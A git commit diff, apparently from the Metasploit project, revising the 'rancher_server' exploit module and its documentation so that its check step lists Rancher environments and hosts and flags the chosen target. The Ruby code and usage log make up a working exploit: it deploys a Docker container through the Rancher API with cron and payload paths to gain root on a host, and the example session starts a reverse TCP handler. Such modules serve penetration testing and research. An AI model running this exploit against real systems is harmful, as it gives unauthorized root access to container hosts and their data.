Features for selecting the target

bug/bundler_fix
Martin Pizala 2017-10-01 02:04:10 +02:00
parent f973ff13b6
commit 701d628a1b
No known key found for this signature in database
GPG Key ID: 50F0D0CE74400C95
2 changed files with 58 additions and 21 deletions

View File

@ -10,6 +10,9 @@ host server.
The Docker image should exist on the target system or be a valid image The Docker image should exist on the target system or be a valid image
from hub.docker.com. from hub.docker.com.
Use `check` with verbose mode to get a list of exploitable Rancher
Hosts managed by the target system.
## Rancher setup ## Rancher setup
Rancher is deployed as a set of Docker containers. Running Rancher is Rancher is deployed as a set of Docker containers. Running Rancher is
as simple as launching two containers. One container as the management as simple as launching two containers. One container as the management
@ -83,9 +86,8 @@ This module is designed to gain root access on a Rancher Host.
## Options ## Options
- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated. - CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated.
- DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit. - DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit.
- TARGETURI this is the Rancher Server API path. The default environment is `/v1/projects/1a5`. - TARGETENV this is the target Rancher Environment. The default environment is `1a5`.
- TARGETHOST is the Rancher Host ID for the target system. The default host is `1h1`. - TARGETHOST is the target Rancher Host. The default host is `1h1`.
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
By default access control is disabled, but if enabled, you need API By default access control is disabled, but if enabled, you need API
Keys with at least "restrictive" permission in the environment. Keys with at least "restrictive" permission in the environment.
@ -94,6 +96,10 @@ See Rancher docs for [api-keys][5] and [membership-roles][6].
- HttpUsername is for your Access Key - HttpUsername is for your Access Key
- HttpPassword is for your Secret Key - HttpPassword is for your Secret Key
Advanced Options
- TARGETURI this is the Rancher API base path. The default environment is `/v1/projects`.
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
## Steps to exploit with module ## Steps to exploit with module
- [ ] Start msfconsole - [ ] Start msfconsole
- [ ] use exploit/linux/http/rancher_server - [ ] use exploit/linux/http/rancher_server
@ -114,8 +120,8 @@ msf exploit(rancher_server) > set VERBOSE true
VERBOSE => true VERBOSE => true
msf exploit(rancher_server) > check msf exploit(rancher_server) > check
[+] TARGETHOST 1h1 found on TARGETURI /v1/projects/1a5 [+] Rancher Host "rancher" (TARGETHOST 1h1) on Environment "Default" (TARGETENV 1a5) found <-- targeted
[*] 192.168.91.111:8080 The target appears to be vulnerable. [*] 192.168.91.111:8080 The target is vulnerable.
msf exploit(rancher_server) > exploit msf exploit(rancher_server) > exploit
[*] Started reverse TCP handler on 192.168.91.1:4444 [*] Started reverse TCP handler on 192.168.91.1:4444

View File

@ -23,6 +23,9 @@ class MetasploitModule < Msf::Exploit::Remote
The Docker image should exist on the target system or be a valid image The Docker image should exist on the target system or be a valid image
from hub.docker.com. from hub.docker.com.
Use `check` with verbose mode to get a list of exploitable Rancher
Hosts managed by the target system.
), ),
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre 'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
@ -39,22 +42,27 @@ class MetasploitModule < Msf::Exploit::Remote
register_options( register_options(
[ [
Opt::RPORT(8080), Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]), OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]), OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]), OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like']), OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']), OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)']) OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
] ]
) )
register_advanced_options(
[
OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
]
)
end end
def del_container(rancher_container_id, container_id) def del_container(rancher_container_id, container_id)
res = send_request_raw( res = send_request_raw(
'method' => 'DELETE', 'method' => 'DELETE',
'headers' => { 'Accept' => 'application/json' }, 'headers' => { 'Accept' => 'application/json' },
'uri' => normalize_uri(target_uri.path, 'containers', rancher_container_id) 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id)
) )
return vprint_good('The docker container has been removed.') if res && res.code == 200 return vprint_good('The docker container has been removed.') if res && res.code == 200
@ -99,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Remote
def check def check
res = send_request_raw( res = send_request_raw(
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri('/v1/projects'), 'uri' => normalize_uri(target_uri.path),
'headers' => { 'Accept' => 'application/json' } 'headers' => { 'Accept' => 'application/json' }
) )
@ -114,30 +122,53 @@ class MetasploitModule < Msf::Exploit::Remote
end end
if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version' if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version'
# get all rancher environments
projects = JSON.parse(res.body)['data'].map { |data| data['id'] }
# get all hosts from environments
target_found = false target_found = false
projects.each do |project| target_selected = false
environments = JSON.parse(res.body)['data']
environments.each do |e|
res = send_request_raw( res = send_request_raw(
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri('/v1/projects', project, 'hosts'), 'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'),
'headers' => { 'Accept' => 'application/json' } 'headers' => { 'Accept' => 'application/json' }
) )
hosts = JSON.parse(res.body)['data'].map { |data| data['id'] }
hosts.each do |host| hosts = JSON.parse(res.body)['data']
hosts.each do |h|
target_found = true target_found = true
print_good("TARGETHOST #{host} found on TARGETURI /v1/projects/#{project}") result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"
# flag results when this host is targeted via options
if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
target_selected = true
vprint_good(result + ' %red<-- targeted%clr')
else
vprint_good(result)
end
end end
end end
return Exploit::CheckCode::Appears if target_found == true
if target_found
return Exploit::CheckCode::Vulnerable if target_selected
print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
if datastore['VERBOSE'] == false
print_bad('Try verbose mode to know what happened.')
end
vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
return Exploit::CheckCode::Appears
else
print_bad('No TARGETHOST available')
return Exploit::CheckCode::Detected
end
end end
Exploit::CheckCode::Safe Exploit::CheckCode::Safe
end end
def exploit def exploit
unless check == Exploit::CheckCode::Appears unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::Unknown, 'Failed to connect to the target') fail_with(Failure::Unknown, 'Failed to connect to the target')
end end
@ -150,7 +181,7 @@ class MetasploitModule < Msf::Exploit::Remote
# deploy docker container # deploy docker container
res = send_request_raw( res = send_request_raw(
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'containers'), 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
'headers' => { 'Accept' => 'application/json', 'Content-Type' => 'application/json' }, 'headers' => { 'Accept' => 'application/json', 'Content-Type' => 'application/json' },
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json 'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
) )
@ -174,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_raw( res = send_request_raw(
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'containers', '?name=' + container_id), 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
'headers' => { 'Accept' => 'application/json' } 'headers' => { 'Accept' => 'application/json' }
) )
next unless res.code == 200 and res.body.include? 'stopped' next unless res.code == 200 and res.body.include? 'stopped'